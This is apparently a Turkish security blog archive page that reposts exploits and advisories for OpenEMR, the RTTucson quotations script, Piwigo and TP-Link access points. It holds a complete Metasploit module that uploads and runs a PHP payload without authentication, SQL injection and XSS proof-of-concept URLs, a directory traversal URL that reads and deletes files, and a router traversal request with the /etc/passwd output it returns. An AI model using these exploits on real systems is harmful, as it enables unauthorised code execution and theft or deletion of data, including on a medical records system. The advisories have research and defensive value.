Archive for 20 Şubat 2013

OpenEMR PHP File Upload Vulnerability PHP File Upload Vulnerability

OpenEMR PHP File Upload Açığına ilişkin metasploit exploit aşağıdaki gibidir.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "OpenEMR PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
        ofc_upload_image.php file from the openflashchart library, a malicious user can
        upload a file to the tmp-upload-images directory without any authentication, which
        results in arbitrary code execution. The module has been tested successfully on
        OpenEMR 4.1.1 over Ubuntu 10.04.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '90222' ],
          [ 'BID', '37314' ],
          [ 'EBD', '24492' ],
          [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
          [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['OpenEMR 4.1.1', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 13 2013",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
        ], self.class)
  end
 
  def check
    uri = target_uri.path
    peer = "#{rhost}:#{rport}"
 
    # Check version
    print_status("#{peer} - Trying to detect installed version")
 
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "interface", "login", "login.php")
    })
 
    if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end
 
    print_status("#{peer} - Version #{version} detected")
 
    if version > "4.1.1"
      return Exploit::CheckCode::Safe
    end
 
    # Check for vulnerable component
    print_status("#{peer} - Trying to detect the vulnerable component")
 
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
    })
 
    if res and res.code == 200 and res.body =~ /Saving your image to/
      return Exploit::CheckCode::Detected
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    uri = target_uri.path
 
    peer = "#{rhost}:#{rport}"
    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
    my_payload = payload.encoded
 
    print_status("#{peer} - Sending PHP payload (#{payload_name})")
    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
      'headers' => { "Content-Length" => my_payload.length.to_s },
      'data'    => my_payload
    })
 
    # If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
      fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
    end
 
    register_file_for_cleanup(payload_name)
 
    print_status("#{peer} - Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
    })
 
    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_error("#{peer} - Server returned #{res.code.to_s}")
    end
  end
 
end

RTTucson Quotations Database – Multiple Vulnerabilities

RTTucson Quotations Database – Multiple Açıklar bulunmuş olup, Açık bulucunun değerlendirmeleri aşağıdaki şekilde;

##################################################################################
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ _________ _
 __  / / __ `/ __ / / ___/ ___/ __ `/ ___/ / _ / ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
____/__,_/_/ /_/_/____/____/__,_/_/  /_/___/____(_)____/_/   __, /  
                                                                /____/   
##################################################################################																
RTTucson Quotations Database Script, Multiple Vulnerabilities
Software Page: http://www.rttucson.com/index.html
Script Demo: http://www.rttucson.com/quotations/default.php

Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhatz Inc. and Janissaries Platform.
##################################################################################

[~] MySQL Injection on Demo Site 

[ ] (author.php, ID Param)
> > >  http://server/quotations/author.php?ID=5&#39; (MySQLi Found)

[ ] (category_quotes.php, ID Param)
> > >  http://server/quotations/category_quotes.php?ID=9&#39; (MySQLi Found)

[~] XSS on Demo Site

> >  (quote_search.php, keywords Param)
> > >  http://server/quotations/quote_search.php?keywords= <h1> Xssed-3spi0n </h1> 

Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability

Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Açığı Bulunmuş Olup açık hakkında açık bulucunun değerlendirmeleri şu şekilde;

Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability


Vendor: Piwigo project
Product web page: http://www.piwigo.org
Affected version: 2.4.6

Summary: Piwigo is a photo gallery software for the web that comes
with powerful features to publish and manage your collection of
pictures.

Desc: Input passed to the &#39;dl&#39; parameter in &#39;install.php&#39; script
is not properly sanitised before being used to get the contents of
a resource or delete files. This can be exploited to read and delete
arbitrary data from local resources with the permissions of the web
server via directory traversal attack.

====================================================================
/install.php:
-------------

113: if (!empty($_GET[&#39;dl&#39;]) && file_exists(PHPWG_ROOT_PATH.$conf[&#39;data_location&#39;].&#39;pwg_&#39;.$_GET[&#39;dl&#39;]))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf[&#39;data_location&#39;].&#39;pwg_&#39;.$_GET[&#39;dl&#39;];
116:   header(&#39;Cache-Control: no-cache, must-revalidate&#39;);
117:   header(&#39;Pragma: no-cache&#39;);
118:   header(&#39;Content-Disposition: attachment; filename="database.inc.php"&#39;);
119:   header(&#39;Content-Transfer-Encoding: binary&#39;);
120:   header(&#39;Content-Length: &#39;.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }

====================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko &#39;LiquidWorm&#39; Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php

Vendor Patch: http://piwigo.org/bugs/view.php?id=2843



15.02.2013


--

http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Exploit

photodex-exploit

Photodex ProShow Producer v5.0.3297 (.pxs) Memory Corruption Python Exploit Read more

TP-Link TL-WA701N / TL-WA701ND – Multiple Vulnerabilities

TP-Link TL-WA701N / TL-WA701ND – Roter'lerde açıklar bulunmuş olup, açık sayesinde /etc/passwd okunabilmekte XSS açığı oluşmaktadır.

 Device Name: TL-WA701N / TL-WA701ND
Vendor: TP-Link

============ Vulnerable Firmware Releases: ============

Firmware Version: 3.12.6 Build 110210 Rel.37112n
Firmware Version: 3.12.16 Build 120228 Rel.37317n - Published Date 2/28/2012
Hardware Version: WA701N v1 00000000
Model No.: TL-WA701N / TL-WA701ND

Firmware download: http://www.tp-link.com/en/support/download/?model=TL-WA701ND&version=V1

============ Vulnerability Overview: ============

    * Directory Traversal: 

Access local files of the device. For example you could read /etc/passwd and /etc/shadow.

Request:
GET /help/../../etc/passwd HTTP/1.1
Host: 192.168.178.2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.2/help/

==> >  no authentication needed!!!

Response:
HTTP/1.1 200 OK
Server: TP-LINK Router
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Access Point WA701N"
Content-Type: text/html

 <META http-equiv=Content-Type content="text/html; charset=iso-8859-1"> 
 <HTML> 
 <HEAD>  <TITLE> TL-WA701N </TITLE> 
 <META http-equiv=Pragma content=no-cache> 
 <META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT"> 
 <LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css"> 
 <SCRIPT language="javascript" type="text/javascript">  <!--
if(window.parent == window){window.location.href="http://192.168.178.2";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//-->  </SCRIPT> 
root:x:0:0:root:/root:/bin/sh
Admin:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/sh
daemon:x:2:2:daemon:/usr/sbin:/bin/sh
adm:x:3:4:adm:/adm:/bin/sh
lp:x:4:7:lp:/var/spool/lpd:/bin/sh
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh
operator:x:11:0:Operator:/var:/bin/sh
nobody:x:65534:65534:nobody:/home:/bin/sh
ap71:x:500:0:Linux User,,,:/root:/bin/sh

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/TP-Link-directory-traversal.png

This traversal vulnerability was already reported on some other TP-Link devices: https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-tplink-dir-traversal.nse

    * The request for changing the password is a HTTP GET and the username and password are parameters of this HTTP GET: 

http://192.168.178.2/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=XXXX&newname=admin&newpassword=XXXX&newpassword2=XXXX&Save=Save

    * Stored XSS: 

Injecting scripts into the parameter Desc reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

->  Wireless MAC Filtering ->  Add or Modify ->  put your XSS in the description (parameter Desc)

Example Request:
http://192.168.178.2/userRpm/WlanMacFilterRpm.htm?Mac=00-11-22-33-44-55&Desc="><img src="0" onerror=alert(1)> &Type=1&entryEnabled=1&Changed=0&SelIndex=0&Page=1&vapIdx=1&Save=Save

This XSS vulnerability was already documented on a other device and firmware version: http://www.exploit-db.com/exploits/19774/

    * Stored XSS: 

->  System Tools ->  SNMP:

Injecting scripts into the parameter sys_name and sys_location reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

http://192.168.178.2/userRpm/SnmpRpm.htm?snmp_agent=0&sys_contact=123&sys_name= </script> &sys_location= <script> alert(&#39;XSSed&#39;) </script> &get_community=111&get_source=123&set_community=123&set_source=111&Save=Save

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-011
Twitter: @s3cur1ty_de

The traversal vulnerability was already reported on some other TP-Link devices: https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/6.x/http-tplink-dir-traversal.nse

The stored XSS vulnerability in the Desc parameter was already documented on a other device and firmware version: http://www.exploit-db.com/exploits/19774/

============ Time Line: ============

August 2012 - discovered vulnerability
06.08.2012 - reported vulnerability to TP-Link
14.02.2013 - public release

===================== Advisory end =====================